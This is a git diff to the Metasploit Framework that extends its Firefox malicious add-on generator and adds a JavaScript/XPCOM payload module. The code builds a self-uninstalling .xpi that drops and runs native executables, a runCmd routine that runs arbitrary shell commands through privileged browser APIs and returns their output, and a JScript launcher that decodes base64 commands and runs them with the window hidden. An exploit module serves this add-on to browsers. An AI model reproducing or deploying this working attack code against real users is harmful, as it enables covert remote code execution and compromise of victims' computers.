diff --git a/lib/msf/core/exploit/remote/firefox_addon_generator.rb b/lib/msf/core/exploit/remote/firefox_addon_generator.rb index 85d3d879db..77678e4aef 100644 --- a/lib/msf/core/exploit/remote/firefox_addon_generator.rb +++ b/lib/msf/core/exploit/remote/firefox_addon_generator.rb @@ -10,87 +10,102 @@ module Msf module Exploit::Remote::FirefoxAddonGenerator + # for calling #generate_payload_exe + include Msf::Exploit::EXE + # Add in the supported datastore options - def initialize( info = {} ) + def initialize(info={}) super(update_info(info, 'Platform' => %w{ java linux osx solaris win }, 'Payload' => { 'BadChars' => '', 'DisableNops' => true }, 'Targets' => [ - [ 'Generic (Java Payload)', + [ 'Universal (Javascript XPCOM Shell)', { - 'Platform' => ['java'], - 'Arch' => ARCH_JAVA + 'Platform' => 'firefox', + 'Arch' => ARCH_FIREFOX } ], [ 'Windows x86 (Native Payload)', { 'Platform' => 'win', - 'Arch' => ARCH_X86, + 'Arch' => ARCH_X86 + } + ], + [ 'Windows x64 (Native Payload)', + { + 'Platform' => 'windows', + 'Arch' => ARCH_X64 } ], [ 'Linux x86 (Native Payload)', { 'Platform' => 'linux', - 'Arch' => ARCH_X86, + 'Arch' => ARCH_X86 + } + ], + [ 'Linux x64 (Native Payload)', + { + 'Platform' => 'linux', + 'Arch' => ARCH_X64 } ], [ 'Mac OS X PPC (Native Payload)', { 'Platform' => 'osx', - 'Arch' => ARCH_PPC, + 'Arch' => ARCH_PPC } ], [ 'Mac OS X x86 (Native Payload)', { 'Platform' => 'osx', - 'Arch' => ARCH_X86, + 'Arch' => ARCH_X86 + } + ], + [ 'Mac OS X x64 (Native Payload)', + { + 'Platform' => 'osx', + 'Arch' => ARCH_X64 } ] ], - 'DefaultTarget' => 1 + 'DefaultTarget' => 0 )) - register_options( [ - OptString.new('ADDONNAME', [ true, - "The addon name.", - "HTML5 Rendering Enhancements" - ]), + register_options([ + OptString.new('ADDONNAME', [ true, "The addon name.", "HTML5 Rendering Enhancements" ]), OptBool.new('AutoUninstall', [ true, "Automatically uninstall the addon after payload execution", true - ]) + ]) ], self.class) end # @return [Rex::Zip::Archive] containing a .xpi, ready to be served with the # 'application/x-xpinstall' MIME type - def generate_addon_xpi - if target.name == 'Generic (Java Payload)' - jar = p.encoded_jar - jar.build_manifest(:main_class => "metasploit.Payload") - payload_file = jar.pack - payload_name='payload.jar' - payload_script=%q| - var java = Components.classes["@mozilla.org/appshell/window-mediator;1"].getService(Components.interfaces.nsIWindowMediator).getMostRecentWindow('navigator:browser').Packages.java - java.lang.System.setSecurityManager(null); - var cl = new java.net.URLClassLoader([new java.io.File(tmp.path).toURI().toURL()]); - var m = cl.loadClass("metasploit.Payload").getMethod("main", [java.lang.Class.forName("[Ljava.lang.String;")]); - m.invoke(null, [java.lang.reflect.Array.newInstance(java.lang.Class.forName("java.lang.String"), 0)]); - | + # @return nil if payload fails to generate + def generate_addon_xpi(cli) + if target.name =~ /Javascript/ + payload_file = nil + payload_name = Rex::Text.rand_text_alphanumeric(8) + '.exe' + payload_script = regenerate_payload(cli).encoded else payload_file = generate_payload_exe + return nil if payload_file.nil? payload_name = Rex::Text.rand_text_alphanumeric(8) + '.exe' payload_script=%q| - var process=Components.classes["@mozilla.org/process/util;1"].createInstance(Components.interfaces.nsIProcess); - process.init(tmp); - process.run(false,[],0); + var process=Components.classes["@mozilla.org/process/util;1"] + .createInstance(Components.interfaces.nsIProcess); + process.init(tmp); + process.run(false,[],0); | if target.name != 'Windows x86 (Native Payload)' payload_script = %q| - var chmod=Components.classes["@mozilla.org/file/local;1"].createInstance(Components.interfaces.nsILocalFile); + var chmod=Components.classes["@mozilla.org/file/local;1"] + .createInstance(Components.interfaces.nsILocalFile); chmod.initWithPath("/bin/chmod"); - var process=Components.classes["@mozilla.org/process/util;1"].createInstance(Components.interfaces.nsIProcess); + var process=Components.classes["@mozilla.org/process/util;1"] + .createInstance(Components.interfaces.nsIProcess); process.init(chmod); process.run(true, ["+x", tmp.path], 2); | + payload_script @@ -98,46 +113,54 @@ module Exploit::Remote::FirefoxAddonGenerator end zip = Rex::Zip::Archive.new + bootstrap_script = 'function startup(data, reason) {' xpi_guid = Rex::Text.rand_guid - bootstrap_script = %q| -function startup(data, reason) { - var file = Components.classes["@mozilla.org/file/directory_service;1"]. - getService(Components.interfaces.nsIProperties). - get("ProfD", Components.interfaces.nsIFile); - file.append("extensions"); - | - bootstrap_script << %Q|xpi_guid="#{xpi_guid}";| - bootstrap_script << %Q|payload_name="#{payload_name}";| - bootstrap_script << %q| - file.append(xpi_guid); - file.append(payload_name); - var tmp = Components.classes["@mozilla.org/file/directory_service;1"]. - getService(Components.interfaces.nsIProperties). - get("TmpD", Components.interfaces.nsIFile); - tmp.append(payload_name); - tmp.createUnique(Components.interfaces.nsIFile.NORMAL_FILE_TYPE, 0666); - file.copyTo(tmp.parent, tmp.leafName); - | + + if target.name !~ /Javascript/ + bootstrap_script << %q| + var file = Components.classes["@mozilla.org/file/directory_service;1"]. + getService(Components.interfaces.nsIProperties). + get("ProfD", Components.interfaces.nsIFile); + file.append("extensions"); + | + bootstrap_script << %Q|xpi_guid="#{xpi_guid}";| + bootstrap_script << %Q|payload_name="#{payload_name}";| + bootstrap_script << %q| + file.append(xpi_guid); + file.append(payload_name); + var tmp = Components.classes["@mozilla.org/file/directory_service;1"]. + getService(Components.interfaces.nsIProperties). + get("TmpD", Components.interfaces.nsIFile); + tmp.append(payload_name); + tmp.createUnique(Components.interfaces.nsIFile.NORMAL_FILE_TYPE, 0666); + file.copyTo(tmp.parent, tmp.leafName); + | + end + bootstrap_script << payload_script if (datastore['AutoUninstall']) bootstrap_script << %q| - try { // Fx < 4.0 - Components.classes["@mozilla.org/extensions/manager;1"].getService(Components.interfaces.nsIExtensionManager).uninstallItem(xpi_guid); - } catch (e) {} - try { // Fx 4.0 and later - Components.utils.import("resource://gre/modules/AddonManager.jsm"); - AddonManager.getAddonByID(xpi_guid, function(addon) { - addon.uninstall(); - }); - } catch (e) {} + function uninstallMe() { + try { // Fx < 4.0 + Components.classes["@mozilla.org/extensions/manager;1"] + .getService(Components.interfaces.nsIExtensionManager).uninstallItem(xpi_guid); + } catch (e) {} + try { // Fx 4.0 and later + Components.utils.import("resource://gre/modules/AddonManager.jsm"); + AddonManager.getAddonByID(xpi_guid, function(addon) { + addon.uninstall(); + }); + } catch (e) {} + } + uninstallMe(); | end bootstrap_script << "}" zip.add_file('bootstrap.js', bootstrap_script) - zip.add_file(payload_name, payload_file) + zip.add_file(payload_name, payload_file) unless payload_file.nil? zip.add_file('chrome.manifest', "content\t#{xpi_guid}\t./\noverlay\tchrome://browser/content/browser.xul\tchrome://#{xpi_guid}/content/overlay.xul\n") zip.add_file('install.rdf', %Q| diff --git a/lib/msf/core/module/platform.rb b/lib/msf/core/module/platform.rb index ee8122d531..ad2131a6ec 100644 --- a/lib/msf/core/module/platform.rb +++ b/lib/msf/core/module/platform.rb @@ -516,4 +516,12 @@ class Msf::Module::Platform Rank = 100 Alias = "nodejs" end + + # + # Firefox + # + class Firefox < Msf::Module::Platform + Rank = 100 + Alias = "firefox" + end end diff --git a/lib/msf/core/payload/firefox.rb b/lib/msf/core/payload/firefox.rb new file mode 100644 index 0000000000..3d3ae54f03 --- /dev/null +++ b/lib/msf/core/payload/firefox.rb @@ -0,0 +1,191 @@ +# -*- coding: binary -*- +require 'msf/core' +require 'json' + +module Msf::Payload::Firefox + + + # Javascript source code of setTimeout(fn, delay) + # @return [String] javascript source code that exposes the setTimeout(fn, delay) method + def set_timeout_source + %Q| + var setTimeout = function(cb, delay) { + var timer = Components.classes["@mozilla.org/timer;1"].createInstance(Components.interfaces.nsITimer); + timer.initWithCallback({notify:cb}, delay, Components.interfaces.nsITimer.TYPE_ONE_SHOT); + return timer; + }; + | + end + + # Javascript source code of readFile(path) - synchronously reads a file and returns + # its contents. The file is deleted immediately afterwards. + # + # @return [String] javascript source code that exposes the readFile(path) method + def read_file_source + %Q| + var readFile = function(path) { + try { + var file = Components.classes["@mozilla.org/file/local;1"] + .createInstance(Components.interfaces.nsILocalFile); + file.initWithPath(path); + + var fileStream = Components.classes["@mozilla.org/network/file-input-stream;1"] + .createInstance(Components.interfaces.nsIFileInputStream); + fileStream.init(file, 1, 0, false); + + var binaryStream = Components.classes["@mozilla.org/binaryinputstream;1"] + .createInstance(Components.interfaces.nsIBinaryInputStream); + binaryStream.setInputStream(fileStream); + var array = binaryStream.readByteArray(fileStream.available()); + + binaryStream.close(); + fileStream.close(); + file.remove(true); + + return array.map(function(aItem) { return String.fromCharCode(aItem); }).join(""); + } catch (e) { return ""; } + }; + | + end + + # Javascript source code of runCmd(str,cb) - runs a shell command on the OS + # + # Because of a limitation of firefox, we cannot retrieve the shell output + # so the stdout/err are instead redirected to a temp file, which is read and + # destroyed after the command completes. + # + # On posix, the command is double wrapped in "/bin/sh -c" calls, the outer of + # which redirects stdout. + # + # On windows, the command is wrapped in two "cmd /c" calls, the outer of which + # redirects stdout. A JScript "launch" file is dropped and invoked with wscript + # to run the command without displaying the cmd.exe prompt. + # + # When the command contains the pattern "[JAVASCRIPT] ... [/JAVASCRIPT]", the + # javascript code between the tags is eval'd and returned. + # + # @return [String] javascript source code that exposes the runCmd(str) method. + def run_cmd_source + %Q| + #{read_file_source} + #{set_timeout_source} + + var ua = Components.classes["@mozilla.org/network/protocol;1?name=http"] + .getService(Components.interfaces.nsIHttpProtocolHandler).userAgent; + var windows = (ua.indexOf("Windows")>-1); + var svcs = Components.utils.import("resource://gre/modules/Services.jsm"); + var jscript = (#{JSON.unparse({:src => jscript_launcher})}).src; + var runCmd = function(cmd, cb) { + cb = cb \|\| (function(){}); + + if (cmd.trim().length == 0) { + setTimeout(function(){ cb("Command is empty string ('')."); }); + return; + } + + var js = (/^\\s*\\[JAVASCRIPT\\]([\\s\\S]*)\\[\\/JAVASCRIPT\\]/g).exec(cmd.trim()); + if (js) { + var tag = "[!JAVASCRIPT]"; + var sync = true; // avoid zalgo's reach + var sent = false; + var retVal = null; + + try { + retVal = Function('send', js[1])(function(r){ + if (sent) return; + sent = true + if (r) { + if (sync) setTimeout(function(){ cb(false, r+tag+"\\n"); }); + else cb(false, r+tag+"\\n"); + } + }); + } catch (e) { retVal = e.message; } + + sync = false; + + if (retVal && !sent) { + sent = true; + setTimeout(function(){ cb(false, retVal+tag+"\\n"); }); + } + + return; + } + + var shEsc = "\\\\$&"; + var shPath = "/bin/sh -c" + + if (windows) { + shPath = "cmd /c"; + shEsc = "\\^$&"; + var jscriptFile = Components.classes["@mozilla.org/file/directory_service;1"] + .getService(Components.interfaces.nsIProperties) + .get("TmpD", Components.interfaces.nsIFile); + jscriptFile.append('#{Rex::Text.rand_text_alphanumeric(8+rand(12))}.js'); + var stream = Components.classes["@mozilla.org/network/safe-file-output-stream;1"] + .createInstance(Components.interfaces.nsIFileOutputStream); + stream.init(jscriptFile, 0x04 \| 0x08 \| 0x20, 0666, 0); + stream.write(jscript, jscript.length); + if (stream instanceof Components.interfaces.nsISafeOutputStream) { + stream.finish(); + } else { + stream.close(); + } + } + + var stdoutFile = "#{Rex::Text.rand_text_alphanumeric(8+rand(12))}"; + + var stdout = Components.classes["@mozilla.org/file/directory_service;1"] + .getService(Components.interfaces.nsIProperties) + .get("TmpD", Components.interfaces.nsIFile); + stdout.append(stdoutFile); + + if (windows) { + var shell = shPath+" "+cmd; + shell = shPath+" "+shell.replace(/\\W/g, shEsc)+" >"+stdout.path+" 2>&1"; + var b64 = svcs.btoa(shell); + } else { + var shell = shPath+" "+cmd.replace(/\\W/g, shEsc); + shell = shPath+" "+shell.replace(/\\W/g, shEsc) + " >"+stdout.path+" 2>&1"; + } + var process = Components.classes["@mozilla.org/process/util;1"] + .createInstance(Components.interfaces.nsIProcess); + var sh = Components.classes["@mozilla.org/file/local;1"] + .createInstance(Components.interfaces.nsILocalFile); + + if (windows) { + sh.initWithPath("C:\\\\Windows\\\\System32\\\\wscript.exe"); + process.init(sh); + var args = [jscriptFile.path, b64]; + process.run(true, args, args.length); + jscriptFile.remove(true); + setTimeout(function(){cb(false, cmd+"\\n"+readFile(stdout.path));}); + } else { + sh.initWithPath("/bin/sh"); + process.init(sh); + var args = ["-c", shell]; + process.run(true, args, args.length); + setTimeout(function(){cb(false, readFile(stdout.path));}); + } + }; + | + end + + # This file is dropped on the windows platforms to a temp file in order to prevent the + # cmd.exe prompt from appearing. It is executed and then deleted. + # + # @return [String] JScript that reads its command-line argument, decodes + # base64 and runs it as a shell command. + def jscript_launcher + %Q| + var b64 = WScript.arguments(0); + var dom = new ActiveXObject("MSXML2.DOMDocument.3.0"); + var el = dom.createElement("root"); + el.dataType = "bin.base64"; el.text = b64; dom.appendChild(el); + var stream = new ActiveXObject("ADODB.Stream"); + stream.Type=1; stream.Open(); stream.Write(el.nodeTypedValue); + stream.Position=0; stream.type=2; stream.CharSet = "us-ascii"; stream.Position=0; + var cmd = stream.ReadText(); + (new ActiveXObject("WScript.Shell")).Run(cmd, 0, true); + | + end +end diff --git a/lib/rex/constants.rb b/lib/rex/constants.rb index 93aa1f4603..049a6801b5 100644 --- a/lib/rex/constants.rb +++ b/lib/rex/constants.rb @@ -64,29 +64,30 @@ LEV_3 = 3 # # Architecture constants # -ARCH_ANY = '_any_' -ARCH_X86 = 'x86' -ARCH_X86_64 = 'x86_64' -ARCH_X64 = 'x64' # To be used for compatability with ARCH_X86_64 -ARCH_MIPS = 'mips' -ARCH_MIPSLE = 'mipsle' -ARCH_MIPSBE = 'mipsbe' -ARCH_PPC = 'ppc' -ARCH_PPC64 = 'ppc64' -ARCH_CBEA = 'cbea' -ARCH_CBEA64 = 'cbea64' -ARCH_SPARC = 'sparc' -ARCH_CMD = 'cmd' -ARCH_PHP = 'php' -ARCH_TTY = 'tty' -ARCH_ARMLE = 'armle' -ARCH_ARMBE = 'armbe' -ARCH_JAVA = 'java' -ARCH_RUBY = 'ruby' -ARCH_DALVIK = 'dalvik' -ARCH_PYTHON = 'python' -ARCH_NODEJS = 'nodejs' -ARCH_TYPES = +ARCH_ANY = '_any_' +ARCH_X86 = 'x86' +ARCH_X86_64 = 'x86_64' +ARCH_X64 = 'x64' # To be used for compatability with ARCH_X86_64 +ARCH_MIPS = 'mips' +ARCH_MIPSLE = 'mipsle' +ARCH_MIPSBE = 'mipsbe' +ARCH_PPC = 'ppc' +ARCH_PPC64 = 'ppc64' +ARCH_CBEA = 'cbea' +ARCH_CBEA64 = 'cbea64' +ARCH_SPARC = 'sparc' +ARCH_CMD = 'cmd' +ARCH_PHP = 'php' +ARCH_TTY = 'tty' +ARCH_ARMLE = 'armle' +ARCH_ARMBE = 'armbe' +ARCH_JAVA = 'java' +ARCH_RUBY = 'ruby' +ARCH_DALVIK = 'dalvik' +ARCH_PYTHON = 'python' +ARCH_NODEJS = 'nodejs' +ARCH_FIREFOX = 'firefox' +ARCH_TYPES = [ ARCH_X86, ARCH_X86_64, @@ -107,7 +108,8 @@ ARCH_TYPES = ARCH_RUBY, ARCH_DALVIK, ARCH_PYTHON, - ARCH_NODEJS + ARCH_NODEJS, + ARCH_FIREFOX ] ARCH_ALL = ARCH_TYPES diff --git a/modules/exploits/multi/browser/firefox_proto_crmfrequest.rb b/modules/exploits/multi/browser/firefox_proto_crmfrequest.rb index 234e87b0f0..d6e949b9c5 100644 --- a/modules/exploits/multi/browser/firefox_proto_crmfrequest.rb +++ b/modules/exploits/multi/browser/firefox_proto_crmfrequest.rb @@ -9,7 +9,6 @@ class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::BrowserExploitServer - include Msf::Exploit::EXE include Msf::Exploit::Remote::FirefoxAddonGenerator def initialize(info = {}) @@ -57,7 +56,7 @@ class Metasploit3 < Msf::Exploit::Remote def on_request_exploit(cli, request, target_info) if request.uri.match(/\.xpi$/i) print_status("Sending the malicious addon") - send_response(cli, generate_addon_xpi.pack, { 'Content-Type' => 'application/x-xpinstall' }) + send_response(cli, generate_addon_xpi(cli).pack, { 'Content-Type' => 'application/x-xpinstall' }) else print_status("Sending HTML") send_response_html(cli, generate_html(target_info)) @@ -76,7 +75,7 @@ class Metasploit3 < Msf::Exploit::Remote #{datastore['CONTENT']}